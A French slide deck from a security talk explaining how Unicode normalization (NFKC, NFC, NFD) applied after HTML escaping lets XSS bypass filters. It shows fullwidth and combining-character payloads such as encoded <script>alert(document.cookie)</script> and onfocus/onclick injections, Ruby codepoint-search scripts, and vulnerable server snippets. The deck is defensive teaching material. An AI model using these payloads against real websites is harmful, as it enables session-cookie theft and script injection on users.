marp | theme | class | paginate | header | footer |
---|---|---|---|---|---|
true |
acceis |
invert |
true |
![height:20px](themes/logo_acceis_white.svg) |
**XSS Unicode** - 14/05/2024 - Alexandre ZANNI (noraj) |
L'entrée utilisateur est échappée, c'est pas vuln, ya pas de XSS.
<script>alert(document;domain)</script>
Vraiment ?
Contourner <
(U+003C, LESS-THAN SIGN)
﹤
, U+FE64, SMALL LESS-THAN SIGN<
, U+FF1C, FULLWIDTH LESS-THAN SIGN
Contourner >
(U+003E, GREATER-THAN SIGN)
﹥
, U+FE65, SMALL GREATER-THAN SIGN>
, U+FF1E, FULLWIDTH GREATER-THAN SIGN
text = '﹤' # U+FE64
text.unicode_normalize(:nfkc) # => "<" (U+003C)
text.unicode_normalize(:nfkd) # => "<" (U+003C)
text = '<' # U+FF1C
text.unicode_normalize(:nfkc) # => "<" (U+003C)
text.unicode_normalize(:nfkd) # => "<" (U+003C)
➜ unisec hexdump < --enc utf8
ef bc 9c
➜ ctf-party < urlencode
%EF%BC%9C
➜ unisec hexdump > --enc utf8
ef bc 9e
➜ ctf-party > urlencode
%EF%BC%9E
<script>alert(document.cookie)</script>
⬇️
%EF%BC%9Cscript%EF%BC%9Ealert(document.cookie)%EF%BC%9C/script%EF%BC%9E
<script>alert(document.cookie)</script>
⬇️
<script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
⬇️
<script>alert(document.cookie)</script>
response.write CGI.escapeHTML(r.params['name']).unicode_normalize(:nfkc)
${normalizeNFKC(request.queryParameters.name!?html)}
Le problème est le mauvais ordonnancement des étapes de sécurité.
Échappement HTML avant normalisation Unicode au lieu d'après.
- Mauvais ordonnancement des étapes de filtrage par le dev.
- Normalisation faite implicitement par le cadriciel
- SGBD qui normalise automatiquement lorsque la chaine de caractère est stockée (ex : dans une colonne VARCHAR)
Contourner "
(U+0022, QUOTATION MARK)
"
, U+FF02, FULLWIDTH QUOTATION MARK
Contourner '
(U+0027, APOSTROPHE)
'
, U+FF07, FULLWIDTH APOSTROPHE
Contourner &
(U+0026, AMPERSAND)
﹠
, U+FE60, SMALL AMPERSAND&
, U+FF06, FULLWIDTH AMPERSAND
- Site AVCS
- Code Snippet n°2
- Solution Snippet n°2
- UTR #15 - Formes de normalisation
- Attaques Unicode – Rump BreizhCTF 2k22 (article)
- Attaques Unicode – Rump BreizhCTF 2k22 (diapo)
Et si c'est une normalisation NFC ou NFD et pas NFKC ou NFKD ?
Les caractères précédents ne sont pas interprétés comme de l'HTML, que faire ?
Source | NFD | NFC |
---|---|---|
ô (U+00F4) |
o (U+006F) + ̂ (U+0302) |
ô (U+00F4) |
o (U+006F) + ̂ (U+0302) |
o (U+006F) + ̂ (U+0302) |
ô (U+00F4) |
ô
(U+00F4) ➡️ NFD ➡️o
(U+006F) +̂
(U+0302)o
(U+006F) +̂
(U+0302) ➡️ NFC ➡️ô
(U+00F4)
Qu'est-ce qui pourrait se composer / décomposer avec >
?
Résoudre l'équation :
NFC('>' + x) = !('>')…
def uints2str(arr)
arr.pack('U*')
end
(1..128591).each do |i|
begin
candidat = uints2str('>'.codepoints + [i]).unicode_normalize(:nfc)
rescue
candidat = '>?'
end
unless candidat[0] == '>'
puts "NFC(> + #{uints2str([i])} (#{i})) = #{candidat} (#{candidat.codepoints})"
end
end
NFC(> + ̸ (824)) = ≯ ([8815])
U+0338 (COMBINING LONG SOLIDUS OVERLAY)
But : annuler la fin de balise et s'injecter dedans
<textarea id=noraj>INJECTION_ICI</textarea>
<a href="https://pwn.by/noraj">INJECTION_ICI</a>
<!-- ⬇️ injection -->
<textarea id=noraj>U+0338 autofocus onfocus=alert(document.cookie) </textarea>
<a href="https://pwn.by/noraj">U+0338 onclick=alert(document.cookie) </a>
<!-- ⬇️ normalisation -->
<textarea id=noraj≯ autofocus onfocus=alert(document.cookie) </textarea>
<a href="https://pwn.by/noraj"≯ onclick=alert(document.cookie) </a>
̸ autofocus onfocus=alert(document.cookie)
response.write ('<textarea id=noraj>' +
CGI.escapeHTML(r.params['param']) +
'</textarea>').unicode_normalize(:nfc)
${normalizeNFC("<textarea id=noraj>" + request.queryParameters.param!?html + "</textarea>")}
Qu'est-ce qui pourrait se composer / décomposer avec "
?
Résoudre l'équation :
NFC('"' + x) = !('"')…
➡️ rien (pareil pour '
)
Résoudre l'équation :
NFD(x) = '>' + y || y + '>'
require 'cgi'
def uints2str(arr)
arr.pack('U*')
end
(1..128591).each do |i|
begin
candidat = CGI.escapeHTML(uints2str([i])).unicode_normalize(:nfd)
rescue
candidat = '?'
end
if candidat.include?('>')
puts "NFD(#{uints2str([i])} (#{i})) = #{candidat} (#{candidat.codepoints})"
end
end
NFD(≯ (8815)) = ≯ ([62, 824])
U+226F (NOT GREATER-THAN)
But : ajouter une fin de balise pour s'échapper du contexte
<img src="image" alt="INJECTION_ICI">
<!-- ⬇️ injection -->
<img src="image" alt="U+226F + charge utile">
<!-- ⬇️ normalisation -->
<img src="image" alt="≯ + charge utile ">
2 problèmes
- comme
"
n'est pas fermé, le<
se trouve toujours dans l'attribut, on ne s'est pas échappé - quand bien même on se serait échappé, il faudrait probablement des
<
et potentiellement des"
pour former une charge utile valide genre une nouvelle balise
Résoudre l'équation :
NFD(x) = '"' + y || y + '"'
➡️ rien (pareil pour '
)
Pareil que précédemment pour l'ouverture de balise
NFD(≮ (8814)) = ≮ ([60, 824])
On peut créer des balises, mais >💩
est ok autant <💩
formera une balise invalide
≮img
➡️ <💩img
Il est quand même possible d'exploiter une balise personnalisée avec certains attributs
<!-- sans interaction -->
<noraj autofocus tabindex=1 onfocus="alert('autofocus mais souvent bloqué car un autre élément l a déjà')"></noraj>
<!-- avec interaction -->
<noraj onclick="alert('balise pas fermée, elle va capturer les balsies suivantes')">
<noraj id="noraj" onfocus="alert('ajouter une ancre pour forcer le focus')"></noraj>
<div>INJECTION_ICI</div><p>Je suis du contenu</p>
<!-- ⬇️ injection -->
<div>U+226e onclick=alert(document.domain) </div><p>Je suis du contenu</p>
<!-- ⬇️ normalisation -->
<div>≮ onclick=alert(document.domain) </div><p>Je suis du contenu</p>
Problème ? Pour être reconnu comme une balise par le parseur HTML, le chevron doit être suivi d'une lettre dans la plage ASCII
Autrement dit <💩 = balise HTML valide
si 💩 = [a-zA-Z]
donc ici <U+0338
est reconnu comme du texte et pas une balise.
Source : tkt j'ai testé, flemme de lire la spec HTML
- NFKC & NFKD : contournement pour
<>"'&
- NFC : contournement pour
>
, rien pour"'
, pas de cas pratique pour<
- NFD : rien pour
"'
, contournement pour>
mais sans pouvoir en faire grand-chose, contournement pour<
mais inutilisable